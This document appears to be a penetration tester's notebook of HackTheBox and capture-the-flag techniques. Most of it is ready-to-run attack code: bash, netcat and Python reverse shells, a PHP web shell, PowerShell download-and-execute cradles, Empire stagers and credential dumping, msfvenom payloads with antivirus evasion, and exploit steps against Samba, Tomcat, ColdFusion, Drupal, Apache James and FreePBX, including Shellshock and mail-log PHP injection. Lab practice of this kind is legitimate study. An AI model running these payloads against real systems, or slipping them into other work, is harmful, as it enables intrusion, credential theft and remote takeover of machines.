mkdir www
mv Invoke-PowerShellTcp.ps1 www/rev.ps1
vim rev.ps1
Add as last-line of script:
Invoke-PowerShellTcp -Reverse -IPAddres 10.x.x.x -Port 4444
python -m SimpleHTTPServer    ..to share rev.ps1

--------------------
http://10.x.x.x/evilcmd.aspx
powershell "IES(New-Object Net.WebClient).downloadString('http://10.x.x.x/rev.ps1')"

--------------------
nc -nvlp 4444                       .. listen
PS C:\windows>                      .. Reverse shell!
PS cd C:\Users\Phineas\Desktop
PS dir
PS> Get-Content "Oracle Issue.txt"  .. to read a file in Powershell
```

## Enumerate the listener version

* Interesting. Didnt use this though.

```
tnscmd10g version -p 1521 -h 10.x.x.x
tnscmd10g status -h 10.x.x.x
tnscmd10g status -h 10.x.x.x --10G
```


# Postgres

## Basics

```
postgres
su postgres  .. to get into his shell account
psql         .. to login to sql

Navigate the database:

\list     .... list the databases
\c [DB]   .... to select the database [DATABASE]
\d        .... to list the tables

select * from users;
```

## File Traverse

* You can read a file from psql, that you normally wouldnt be allowed!

```
CREATE TABLE demo(t text);
COPY demo from '[/var/lib/postgresql/9.4/key.txt]';
SELECT * FROM demo;
```

## Find Creds

```
/var/www
cat /var/www/classes/db.php

dbname=photoblog 
user=photoblog 
password=photoblog
>> psql -U photoblog
```


# PowerShell Empire

## Modules:

* PowerBreach: Persistence
* Posh-SecMod: Discovery
* PowerSploit: CodeEx,Keylog,etc
* PowerUp : privesc
* PowerView : Enum, includes: "Find Interesting Files"

### Module Categories:

* CodeEx
* Coll
* Exfil
* Expl
* Fun
* Lateral

### More Module Categories:

* Management: email/runas/hash
* Persistence: tasksched/reg/script
* Recon: Enum
* SitAwareness: scan/netstat
* Trollsploit: RickRoll fun

## Getting Started

```
Linux:
cd /opt/empire/setup
sudo ./reset.sh   ..cleanup previous history

Normal:
sudo ./empire

agents = sessions
info = show options
listeners = multihandler
```

## Module

```
searchmodule privesc
listeners
?  ..help for listeners
```

## Listener

```
uselistener  ..<tab-complete>
uselistener http
info

DefaultJitter  ..give us irregular checks(to hide)
KillDate       ..quit on date
WorkingHours   ..goes silent after time
SlackChannel   ..notifs in Slack

set DefaultDelay 1   ..to make commands faster
Set Host http://10.x.x.x:8080
set Port 8080   ..quirky but helps to do both
info
?   ..help
execute
listener successfully started (like: multihandler)

listeners  ..view current listeners
.. note: could rename from 'http'
```

## Stager

```
back
usestager  ..<tab-complete>

.. windows/hta   ..good to get past email filters
.. windows/macro ..good to use in Word

use stager windows/launcher_bat
info
set Listener http  ..choose our current
generate           ..created /tmp/launcher.bat

---------------------------------------------------------------
---------------------------------------------------------------
Share with Python:
python3 -m http.server

---------------------------------------------------------------
---------------------------------------------------------------
Windows/Target
Download with: Windows Powershell:

PS> cd .\Desktop\
PS> wget http://x.x.x.x:8000/launcher.bat -OutFile launcher.bat
PS> dir
PS> notepad ./launcher.bat
Desktop > Db-Click Launcher.bat
```

## Connected

```
Linux: Empire now shows connected!!

agents
interact ABC123SESS
rename Agent1
info  ..hostname, user, process, etc

list listeners
list agents
```

## Doing more

```
usemodule <tab>
usemodule situational_awareness/host/winenum
.. also cool: collection/FoxDump  ..firefox cred dump

searchmodule powerup
usemodule /privesc/powerup/allchecks

.. Found Unquoted service paths
.. Exe has poor perms
.. Some false-positives
```

## Elevated Modules

```
back
usemodule powershell/credentials/powerdump*
* means we need higher creds

info
run   ..error, needs to run in elevated
```

## PrivEsc Modules

```
back
usemodule privesc/ask  ..will prompt user to accept
.. Unless UAC is set to allow everything

set Listener http
run

agents
.. we now have * higher priv agent
rename 8VDM9S2G AgentHIGH
```

## Powerdump

```
interact AgentHIGH
usemodule credentials/powerdump*
password-hashes!!

back
shell ipconfig
shell whoami

```

## Portscan

```
searchmodule portscan
usemodule situational_awareness/network/portscan
info
set Hosts 10.x.x.x
run
```

## All Agents - Powerful

```
usemodule powershell/credentials/powerdump
info
set Agent all   ..to run on ALL agents
execute
```

## Cleanup

```
agents
kill all
listeners
kill http
exit

cd /opt/empire/downloads/
cd AgentHIGH
less agent.log  ..LOG of everything and outputs !!!!

cd /opt/empire/setup
sudo ./reset.sh   ..cleanup previous history
```


# Shells

Broad Topic

## Links

* Web
  * [gtfobins.github.io](https://gtfobins.github.io)
  * [PentestMonkey.net\_ReverseShells](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
  * [Reverse Shell Generator: Suggestion Tool](https://github.com/mthbernardes/rsg)
  * [Reverse-shells-one-liners](http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html)
* Gitbook
  * [MetasploitVenom](/03-getting-in/03-metasploit#venom)
  * [PrivEscVenom](/07-win-privesc/win-privesc#basic-venom-reverse-shell)
  * [FtpHttpVulnWebshell](/03-getting-in/ftp#ftphttp-vulnerability)

## Basics

* Host: Setup the listener to catch the reverse shell
  * nc -nvlp 1234
* Target: Upload your reverse shell, navigate, execute, connect
  * [http://rhost/404.php](http://192.168.50.102/404.php)
* Example: BashedHTB sends a **php reverse shell** with wget

## Easy Test Connect

```
nc -e /bin/bash $IP 4444
netcat -e /bin/bash $MyIP 4444
bash -i >& /dev/tcp/$MyIP/4444 0>&1

nc -nlvp 4444
```

## PHP web shell

* Upload this simple 'shell.php', and call it using parameter 'cmd=uname'
* Consider, you might need to send 'shell.php3' to avoid the block/filter.
* REF: [PhpTricks](/04-webapps/php-tricks), [FtpHttpVuln](/03-getting-in/ftp#scenario-ftp-http)

```
<?php
  system($_GET["cmd"]);
?>

Execute:
http://abc.so/upload/shell.php?cmd=uname -a
```

## Python

```
#!/usr/bin/env python
import os
import sys
try: 
    #os.system('/usr/bin/touch /tmp/hello')              ...test
    #os.system('bash -i /dev/tcp/$MyIP/4444 0>&1')       ...reverse shell
    os.system('chmod 4755 /bin/dash')                    ...rootbash
except:
    sys.exit()
```

```python
This worked for htb-bashed:
Root process auto-executes python scripts:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.15",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
```

```
Script:
http://10.10.10.168:8080/

import socket,subprocess,os bs; 
socket.socket(socket.AF_INET,socket.SOCK_STREAM);
ns.connect(("10.10.15.30",51000));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/bash")# 
HTTP/1.1



Bash Script/Shell (privesc)

#!/usr/bin/python
import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.52",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

```

#### By Burp

```
Readable:
/'\nimport socket,subprocess,os;\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\ns.connect((\"10.10.15.30\",51000));\nos.dup2(s.fileno(),0);\nos.dup2(s.fileno(),1);\nos.dup2(s.fileno(),2);\nimport pty;\npty.spawn(\"/bin/bash\")#

Web-Encoded:
/'%0Aimport%20socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.15.30",51000))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport%20pty%3bpty.spawn("/bin/bash")%23 HTTP/1.1
```

#### Browser

```
http://10.10.10.168:8080/'%0Aimport%20socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.15.30",51000))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport%20pty%3bpty.spawn("/bin/bash")%23 HTTP/1.1
--Remember to include the HTTP/1.1
```

## Bash Reverse

* REF: [ApacheJamesEmail](/04-webapps/apache#apache-james-server-2-3-2)

```
bash -i >& /dev/tcp/192.168.1.26/53 0>&1

payload = 'bash -i >& /dev/tcp/$MyIP/4444 0>&1'
payload = 'nc -e /bin/bash $MyIP 4444 &'
```

## Powershell Reverse

* [WindowsPrivEsc-Powershell](/07-win-privesc/win-kernelexp#juicy-potato-powershell)

## netcat

* Create a python reverse shell
* Listener #1: Share rshell with <
* Listener #2: Wait for incoming
* LFI: Execute nc to pickup rshell and execute it

```
rce > nc > python > nc/rshell

Python Reverse Shell
vim cmd  ..connect(("10.10.14.6",1234))
nc -nvlp 9001 < cmd   ..send/share the file
nc -nvlp 1234         ..catch shell
..queues;nc+10.10.10.6+9001|python+&   ..fail
..queues;nc+10.10.10.6+9001|python     ..ok pull file, python execute
connected!
```

## Windows netcat

* Windows Target might not have netcat
* Download and send the nc64.exe (assuming they are using 64bit)
* Execute your nc64.exe to send a ReverseShell[ ](/03-getting-in/03-reverseshell-php)back to yourself
* Ex: [DrupalPhpVuln](/04-webapps/drupal#reverse)

```
Download 64-bit netcat
nc64.exe: upload and execute

http://10.x.x.x/ippsec.php?fupload=nc64.exe
http://10.x.x.x/ippsec.php?fexec=nc64.exe -e cmd $MyIP 8081
nc -nvlp 8081
```

##


# rpc

* msrpc
* <https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/>

```
rpcclient -U "" -N 10.x.x.x
rpcclient -U james 10.x.x.x 
rpcclient $> lookupnames james james S-1-5-21-4220043660-4019079961-2895681657-1103 (User: 1)


```


# SMB Samba

## Samba

```
smbclient -L 10.x.x.x   ..list shares
smbclient -H 10.x.x.x   ..host detail
rpcclient -U "" 10.x.x.x  ..null login attempt

smbclient //10.x.x.x/ADMIN$
smbclient //10.x.x.x/MyShare -U bob
```

## Username attack

```
> nc -nvlp 1234  ..listener

Send shell metacharacters into the username with a reverse shell payload.
> logon "/=`nohup nc -nv 10.10.14.6 4444 -e /bin/sh`"
> whoami.. root!
```

## Samba usermap script

* Find samba 3.0.20 with nmap
* Look up samba exploits: CVE-2007-2447
* searchsploit samba 3.0.20
* google/download: **usermap\_script.py**
* REF: LameHTB

```
> nc -nvlp 4444  ..listener
> python2 usermap_script.py -h
> python2 usermap_script.py rhost 445 lhost 4444
> whoami .. root!
```

### Python2

```
python3 didnt work
Use python2, pip2, and pysmb
python ImportError No module named smb.SMBConnection

> python2 --version  ..2.7.18
> wget https://bootstrap.pypa.io/get-pip.py
> sudo python2.7 get-pip.py
> which pip2.7   ../usr/local/bin/pip2.7
> pip2.7 install pysmb
```

## REF:

* [EternalBlue](/03-getting-in/eternal-blue)


# SSH Tips

## Connect with pem/user/ip

* This will allow you to stay connected to the CTF (metasploitCtf)

```
chmod 600 ctf.pem
ssh -i ctf.pem user@54.x.x.x
```

## Root Logins Allowed

* Found an ssh key, but can you log in with root?

```
grep PermitRootLogin /etc/sshd_config 
vim root_key 
mod 600 root_key 
ssh -i root_key root@192.168.x.x 
```

## Unable to negotiate

REF: sundayHTB

```
> ssh sunny@10.129.87.203 -p 22022
Unable to negotiate with 10.129.87.203 port 22022: no matching key exchange method found. 
Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.129.87.203 -p 22022
..connect!
```

## keys

* If you found the ssh\_key and the password
* You can decode it like this:

```
> openssl rsa -in privkey -out decodedkey     ..enter: mysecretkey
```

## SSH Konami Code (pivot)

* ssh port forward (ref: [SSHPivots](/06-linux-privesc/06-pivots#ssh-pivots))
* While still in the same ssh session
* <https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/>
* Dynamic Port Forward listening on localhost:1080 going to SSH
* And you get to keep your session!
* Scenario: VNC Server is only exposed locally on PoisonHTB.

```
-----------
ssh myserver
<Enter>                    ..new line
~C                         ..commandline options for ssh
ssh> -D 1080               ..Dynamic port to 9001 

netstat -anlp | grep 1080  ..local to confirm listening

-----------
Firefox
New Proxy > Manual > 127.0.0.1 1080 SOCKSv5
(dont block localhost)

Firefox
http://127.0.0.1:5901      ..route through 1080 to vnc port 5901
```

## ssh key crack

* [ssh2john](/05-passwords-ciphers/05-crask-sshprivkey-passphrase#ssh-2-john)


# SQLite3

## Basics

* DB is actually in a File/Dir

```
> file [FILENAME]       ..to check the filetype/info
> sqlite3 [FILENAME]    ..to connect

.tables    ... to get a list of tables.
SELECT     ... to extract the content of a table using SQL.
```


# Veil

## REF: [Metasploit](/03-getting-in/03-metasploit)

## Veil Framework

* Evasion ..creates payload w/evasion
* Ordinance ..Quickly gen shellcode for exp/pay
* Shellter ..Other software

## Usage

```
sudo veil

use Evasion
list           ..see all the payloads
<tab> <tab>    ..view options

info powershell/meterpreter/rev_tcp.py
use powershell/meterpreter/rev_tcp.py
set LHOST 10.x.x.x  (tab complete)

generate       ..give it a name: veil

Created:
/var/lib/veil/output/source/veil.bat   ..base64 encoded
/var/lib/veil/output/handlers/veil.rc  ..For MSF
```

## Metasploit Scripting

```
msfconsole -r /var/lib/veil/output/handlers/veil.rc
jobs  ..see that it is running/waiting

Autoloaded this:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.x.x.x
set LPORT 4444
set ExitOnSession false   ..catch all sessions!!
exploit -j
```

## Execution

```
Kali:
cd /var/lib/veil/output/source/
ls veil.bat
> python3 -m http.server

Windows:
http://$IP:8000/veil.bat ..save/open/execute

Kali: Connected!
session -l
sessions -i 1
meterpreter> getuid
sysinfo
Win!
```

## Example:

* Veil-Evasion used in [coldfusion](/04-webapps/coldfusion#reverse-executable)


# 04 WebApps


# Apache

## Home Directory

* <http://$IP/~mike>
* Apache may be configured to give users Home directory
* <https://httpd.apache.org/docs/2.4/howto/public_html.html>

## FreeBSD Apache

* <https://blog.codeasite.com/how-do-i-find-apache-http-server-log-files/>

```
/usr/local/www/apache24/data/
/var/log/httpd-error.log
/var/log/httpd-access.log
```

## Tomcat

```
Password is sometimes kept:
Directory where tomcat is installed
Directory starting with tomcat in /etc/
'tomcat-users.xml'

Example: /etc/tomcat7/tomcat-users.xml
Check: cat /etc/passwd .. see where tomcat profile lives
```

## tomcatWarDeployer

* Vuln: Apache Tomcat/7.0.88
* REF: JerryHTB
* <https://github.com/mgeeky/tomcatWarDeployer>
* git clone <https://github.com/mgeeky/tomcatWarDeployer.git>

```
Example: 
> python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080

python error: no module named 'mechanize'
>> sudo apt install python-pip
>> pip install mechanize

Again with Creds:
>> sudo python ./tomcatWarDeployer.py -v -x --user=tomcat --pass=s3cret -n hello2 -p 4449 -H 10.10.14.189 10.10.10.95:8080

==== JSP Backdoor ====
INFO: JSP Backdoor up & running on http://10.10.10.95:8080/hello2/
INFO: 
Happy pwning. Here take that password for web shell: '8EWh0JeCrmN0'
INFO: ------------------------------------------------------------

SUCCESS!!!!!


http://10.10.10.95:8080/hello2/
8EWh0JeCrmN0

> whoami
nt authority\system

```

## Config Password

```

more C:\conf\tomcat-users.xml
more C:\apache-tomcat-7.0.88\tomcat-users.xml

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
   <user username="tomcat" password="s3cret" roles="tomcat, manager-gui"/>
   <user username="admin" password="admin" roles="role1, manager-status"/>
   <user username="jerry" password="tomcat" roles="role1, manager-status"/>
</tomcat-users>
```

## Apache James Server 2.3.2

* Java Apache Mail Enterprise Server (JAMES)
  * Open source SMTP and POP3 mail transfer agent and NNTP news server
  * <https://james.apache.org/>
  * Default Login: **root:root**
* Connect and Reset user-email password
* Then use [Thunderbird](/03-getting-in/email-smtp#thunderbird) email to look for clues

```
nc $IP 4555
admin:admin ..fail
root:root   ..ok
help
listusers
setpassword admin password
setpassword mindy password  ..next use thunderbird to read emails
```

* Exploit:

```
-------------------------
searchsploit james
searchsploit -m linux/remote/35513.py

vim 35513.py
payload = 'bash -i >& /dev/tcp/$MyIP/4444 0>&1'
payload = 'nc -e /bin/bash $MyIP 4444 &'

nc -nvlp 4444
python 35513.py $IP
ssh user@server  ..to pop the exploit

-------------------------
james will 
adduser ../../../etc/bash_completion.d
sends email to directory with our payload
when somebody logs in, payload gets executed
```


# Blogs

## Priority

* Extends > Themes "Helloworld" > Save
* System > Backup > Content > Files > Save something
* System > Settings > Maintenance Mode \<?php phpinfo(); ?> ..Save
* Plugins are often exploitable
* searchsploit
* github 'issues'

## REF

* [DirbNiktoWP ](/02-scanning/02-dirb-masscan-pings)- Also has webapp/cms/scanner

## Nibbleblog

* <https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html>
* Obtain Admin credentials > Activate My image plugin by visiting
* <http://localhost/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image>
* Upload PHP shell, ignore warnings Visit
* <http://localhost/nibbleblog/content/private/plugins/my_image/image.php>
* No matter what you NAME the php upload.. it will ALWAYS be "image.php" after uploading

```
Setup reverse.php
Upload: "reverse.php" with my IP

Execute:
http://10.129.1.135/nibbleblog/content/private/plugins/my_image/image.php

nc -nvlp 4444
Connected!
```

## Monstra

* TartarHTB

```
Monstra
https://$IP/webservices/monstra-3.0.4/
https://$IP/webservices/monstra-3.0.4/admin/

admin:admin  ..default works!

Try to edit themes! 
They are often php

Monstra > Extends > Themes
"Helloworld" > Save ..fails

System > Backup ..not created (not writeable)
Content > Files ..new directory (created)
Content > Files > File ..Fails

System > Settings > Maintenance Mode
<?php phpinfo(); ?>   ..Save Fails
Hello                 ..Save Fails

-----------------------
-----------------------
searchsploit monstra
github monstra > Issues > 
php code execution
Look for sqli or lfi
```

## Gym Management

REF: Redteam CTF Defcon\
Pivonka found this vuln on his own!\
Actually a pubic/known exploit

* <https://www.exploit-db.com/exploits/48506>
* <https://github.com/ratik92/gymmanagementsystem>
* <https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg>
* <https://medium.com/@asdqwedev/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada>
* <https://gist.github.com/asdqwe3124/e63eba35dc8e6976af97f1a9348b277b>


# Coldfusion

## Basics

* <https://jumpespjump.blogspot.co.uk/2014/03/attacking-adobe-coldfusion.html>
* <https://pentest.tonyng.net/attacking-adobe-coldfusion/>
* REF: Arctic-HTB

## Local File Inclusion - Password Leak!

* Coldfusion 8 CVE
* <https://www.exploit-db.com/exploits/14641/>
* Get the Password hash using LFI

```
http://$IP:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
```

## Reverse Shell

* If you get Admin into Coldfusion
* You can upload a java reverse shell

```
Create:
msfvenom --list payloads | grep java
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$MyIP LPORT=4444 -f raw > shell.jsp

Share:
python -m SimpleHTTPServer
python3 -m http.server

Upload:
Coldfusion > Debugging > Scheduled Tasks
URL : http://$MyIP:8000/shell.jsp
Publish: Save output to file - Yes!
File: \ColdFusion8\wwwroot\CFIDE\shell.jsp
Submit & Run

Execute:
http://$IP:8500/CFIDE/shell.jsp 

Catch:
nc -nvlp 4444
whoami tolis!
```

## Webshell

* If you get Admin into Coldfusion
* You could upload "cfexec.cfm"
* <https://jumpespjump.blogspot.co.uk/2014/03/attacking-adobe-coldfusion.html> --bad link
* <https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/cfm/cfExec.cfm>
* /usr/share/webshells/cfm/cfexec.cfm ..kali

```
vim cfexec.cfm
python -m SimpleHTTPServer

Coldfusion > Debugging > Scheduled Task
http://$MyIP:8000/cfexec.cfm
Publish: Save output to file - Yes!
\ColdFusion8\wwwroot\CFIDE\cfexec.cfm
Submit & Run

Execute:
http://$IP:8500/CFIDE/cfexec.cfm

Command: C:\windows\system32\cmd.exe
Options: /c whoami > C:\ColdFusion8\wwwroot\CFIDE\output.txt
Options: /c DIR C:\Users > C:\ColdFusion8\wwwroot\CFIDE\output.txt
Options: /c type C:\Users\tolis\Desktop\user.txt > C:\ColdFusion8\wwwroot\CFIDE\output.txt
Options: /c systeminfo > C:\ColdFusion8\wwwroot\CFIDE\output.txt

Browse : http://$IP:8500/CFIDE/output.txt
.. arctic\tolis
.. C:\Users\tolis
.. Flag!!
.. Windows Server 2008 R2 64-Bit
```

## Reverse Executable

* You may be able to upload a reverse executable
* Avoid AV detection with [Veil](/03-getting-in/03-veil)

```
----------------------------------
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$MyIP LPORT=4444 -f exe > arctic.exe
python -m SimpleHTTPServer

Coldfusion > Debugging > Scheduled Task
http://10.10.12.166:8000/arctic.exe
\ColdFusion8\wwwroot\CFIDE\arctic.exe

msf > use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 10.10.13.10
set RHOST 4444
RUN

http://$IP:8500/CFIDE/cfexec.cfm
Command: C:\windows\system32\cmd.exe
Options: /c DIR C:\ColdFusion8\wwwroot\CFIDE > C:\ColdFusion8\wwwroot\CFIDE\output.txt
http://10.10.10.11:8500/CFIDE/output.txt
.. Found: 'arctic.exe'
.. BLOCKED by Antivirus

----------------------------------
Bypass Antivirus with veil-evasion

>  veil-evasion
>> list
>> choose '24'.. Powershell/meterpreter/rev_tcp
>> LHOST=$MyIP
>> LPORT=4444
>> generate
.. 'arctic'.. which makes 'arctic.bat'
cp arctic.bat .

Coldfusion > Debugging > Scheduled Task
http://10.10.12.166:8000/arctic.bat
C:\ColdFusion8\wwwroot\CFIDE\arctic.bat

http://$IP:8500/CFIDE/cfexec.cfm
Command: C:\windows\system32\cmd.exe
Options: /c DIR C:\ColdFusion8\wwwroot\CFIDE\arctic.bat
May need to try this 2-3 Times.. but will work!!

MSF - Connected!
```

## Other:

* Also consider:
* <https://arrexel.com/coldfusion-8-0-1-arbitrary-file-upload/>


# Content Management (CMS)

## Common

* [Wordpress](/04-webapps/03-webapp-wordpress)
* [Magento](/04-webapps/magento)

## Basics

* Analyze:
  * Version
  * Addons
  * Themes
  * Blog Posts
* Vulnerabilities
  * Start with Unauthenticated
* Backend Admin Panel
  * dirb, gobuster
  * Panel Finder: <https://github.com/s0md3v/Breacher>
  * Guess, Default Creds, Brute-Force

## October CMS

* Open source self-hosted CMS platform
* Based on the Laravel PHP
* Look for unauthenticated exploits:
  * searchsploit october
  * Found: Vulnerable Upload php5 (authenticated)
* Google: "Vanilla forum download"
* Admin Panel:
  * Google "october cms admin login"
  * dirb <http://10.x.x.x>
  * <http://10.x.x.x/**backend>\*\*
  * Try guessing: admin/admin
* Upload php5
  * October > Admin > Media > Upload > oct.php5
  * Execute has a button
  * Catch with nc reverse shell or msfconsole

```
> locate php-reverse-shell.php
> cp php-reverse-shell.php .
> vim php-reverse-shell.php
(upload through GUI/Webpage)
> nc -nvlp 4444
connected !!
```


# Drupal

* [https://www.drupal.org](https://www.drupal.org/)
* Open-source web content management framework written in PHP

## Scan

```
nmap -sC -sV -oA output 10.x.x.x

80     IIS 7.5 drupal = Windows 2008 R2
135    rpc
49154  rpc
 
DirBuster found 'rest': /rest/ — 200

http://10.x.x.x  ..drupal
```

## drupscan

* Works but too old - last updated like 2013
* github/tibillys

## droopescan

* Takes a long time to run
* <http://$IP/CHANGELOG.txt> ..Find Version
* http\://$IP/robots.txt

```
droopescan --help
droopescan scan drupal -u 10.x.x.x

version: 7.54        ..Interesting Results
Admin: Login page    ..But no exploits
Theme: seven
ctools, libraries,
image module
```

## drupalgeddon (msf)

```
searchsploit drupal 7.5
```

## drupalgeddon (no msf)

* CVE-2018-7600
* <https://github.com/dreadlocked/Drupalgeddon2>
* If you get a 'limited shell' you will need to upload nc.exe and do reverse shell

```
gem install highline
ruby drupalgeddon2.rb 10.x.x.x

nc -nvlp 4444
certutil -urlcache -split -f http://$MyIP/nc.exe
nc.exe -e cmd.exe $MyIP 4444
```

## Serialization Vulnerability - 41564.php

* Search and Download the php exploit
* ippsec includes Custom phpCode for:
  * Uploading and Execution
  * Requires php-curl
* Exploit will download json files that could have secrets

```
google drupal 7.54 exploits  ..found one
searchsploit drupal          ..found 7.x
searchsploit -x 41564.php    ..view
searchsploit -p 41564.php    ..clipboard
mv 41564.php drupal.php      ..move/rename

Confirm rest:
http://10.x.x.x/rest_endpoint  ..nothing
http://10.x.x.x/rest           ..ok
```

```
$url = 'http://10.x.x.x/'
$endpoint_path = '/rest_endpoint'    ..default/wrong
$endpoint_path = '/rest';            ..found by dirbuster

$phpCode = <<<'EOD'
<?php
 if (isset($_REQUEST['fupload'])) {
  file_put_contents($_REQUEST['fupload], file_get_contents("http://10.x.x.x:8000/" . $_REQUEST['fupload']));
 };
 if (isset($_REQUEST['fexec'])) {
  echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
 };
?>
EOD;

$file= [
        'filename' => 'ippsec.php',
        'data' => $phpCode
];
```

```
Exploit:
> php drupal.php
```

## Json Cookies

* Exploit will save json files locally
* Check them for details, and session cookies to steal
* Create a New Cookie, and you might get Admin

```
cat user.json      ..user/pass
cat session.json   ..session/admin/cookie

firefox > cookies manager+ (addon) > New Cookie
cat session.json
session_name = Name: xyz111
session_id   = Content: ddddd
<save>
http://10.x.x.x/   ..we are admin!!
```

## Dupal PHP Module

* If you can access Drupal:
  * Enable the PHP Filter
  * Create an Article that has PHP

```
Drupal > Modules > PHP Filter (enable) > save
Add Content > Create Article
Title: test
Body: <?php phpinfo(); ?>
Format: PHP Code
Preview ... we have code execution!
```

## Webshell

* Use the ippsec phpCode
* Execute commands and upload

```
http://10.x.x.x/ippsec.php?fexec=dir
http://10.x.x.x/ippsec.php?fexec=systeminfo
http://10.x.x.x/ippsec.php?fexec=sc query state=all   ..denied
```

## Enumeration

* **systeminfo** will tell us the OS version and Patch level
* Hotfix 'N/A' might mean we dont have access, or there are no patches
* OS/Patch level will help us with KernelExploit

```
OS Ver: 6.1.7600 B/A Build 7600
Hotfix: N/A
Kernel Exploit 
```


# Elastix FreePBX

## Elastix LFI graph.php

* Elastix version: FreePBX 2.8.14
* google "elastix vulnerabilities"
* Elastix 2.2.0 graph.php [Local File Inclusion (LFI)](/04-webapps/lfi)
* <https://www.exploit-db.com/exploits/37637>
* **amportal.conf** - Config file target will give up the Creds
* If you find user/pw - fire up [**hydra** ](/05-passwords-ciphers/hydra)and crack it

```
searchsploit elastix
searchsploit -m 37637   ..copy LFI

https://$IP/vtigercrm/graph.php?current_language
=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
=../../../../../../../..//etc/passwd%00&module=Accounts&action

Ignore users with nologin
vim > :g/nologin/d

Fix formatting:
tr '#' '\n' < input.txt > output.txt
grep -i -E 'user|pass|host|name' output.txt

hydra -L users.txt -P pass.txt ssh://$IP

Passwords found here.. could be used as 'root' :)
(beep htb)
```

## Elastix LFI vtigercrm

* vTiger CRM 5.1.0
* gobuster found 'vtigercrm' folder
* searchsploit vtiger found: Local File Inclusion - 18770.txt

```
https://$IP/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php
?module_name=english.php HTTP/1.1
?module_name=../../../../../../../../etc/passwd%00
?module_name=../../../../../../../../proc/self/status%00
?module_name=../../../../../../../../var/mail/askerisk%00

View Page Source!
Found: uid:100:asterisk, passwd, mail-read
```

## PBX Extensions

* <https://$IP/panel> ..Target will show extensions (if you can access)
* **SIPVicious**: Find active 'extensions' by wardialing your PBX
* sudo apt install sipvicious
* <https://github.com/EnableSecurity/sipvicious>
* <https://helpforhac.blogspot.com/2014/01/free-pbx-hack-phone.html>

```
> svmap 10.129.113.87 -vv

+--------------------+---------------------+-------------+
| SIP Device         | User Agent          | Fingerprint |
+====================+=====================+=============+
| 10.129.113.87:5060 | FPBX-2.8.1(1.8.7.0) | disabled    |
+--------------------+---------------------+-------------+

> svwar -h
> svware $IP
> svwar -D -m INVITE $IP
> svwar -D -m INVITE $IP -e100-300 --force

+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 233       | reqauth        |
+-----------+----------------+
```

## Remote Code Execution

* FreePBX 2.8.14
* searchsploit freepbx 2.8.14
* Found: 2.10.10 / Elastix 2.2.0 - Remote Code Execution: php/webapps: 18650.py
  * Did you read the notes?
  * Elastix often allows us to run nmap with interactive

```
searchsploit -m 18650
vim 18650

lhost = $MyIP
rhost = $IP
extension='1000'      ..default extension
extension='238'       ..found with svware
url = 'https://....'
urllib.urlopen(url)   ..original
print(url)            ..to troubleshoot

nc -nvlp 4444
whoami 
asterisk

sudo nmap --interactive
nmap> !sh
id ..root
```

## Email php injection

* Requires:
  * smtp:25 open
  * user/pass of email account
  * LFI that can open/execute under same account

```
-------------
smtp:25
telnet $IP	
EHLO mutatedknutz.beep.localdomain   ..extended hello
VRFY hacked@localhost    ..rejected
VRFY asterisk@localhost  ..connect!
mail from:hacked@hacked.com
rcpt to:askerisk@localhost
data
Subject:Testing!
Hello                                        ..test #1
<?php echo "Php success"; ?>                 ..test #2
<?php echo system($_REQUEST['command']); ?>  ..test #3

.
quit

-------------
Use LFI to pull mail/file:
https://$IP/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php
?module_name=../../../../../../../../var/mail/askerisk%00 
&command=whoami HTTP/1.1
&command=hostname HTTP/1.1
&command=bash -i >& /dev/tcp/10.x.x.x/5151 0>&1 HTTP/1.1
Update as: URL Encoded (with burp)

nc -nvlp 5151
whoami
asterisk !!
```

## Metasploit

* Optional method: "vtiger soap upload"
* MSF SSL Issue/Fix: 6783

```
searchsploit vtigercrm
msf: vtiger_soap_upload
```

## PBX [Shellshock](/04-webapps/03-shellshock)

```
() { :;}; echo; /usr/bin/wget https://$IP      ..test
() { :;}; bash -i >& /dev/tcp/$IP/443 0>&1     ..reverse
```


# HttpFileServer (HFS)

## Basics

* Webserver designed for publishing and sharing files
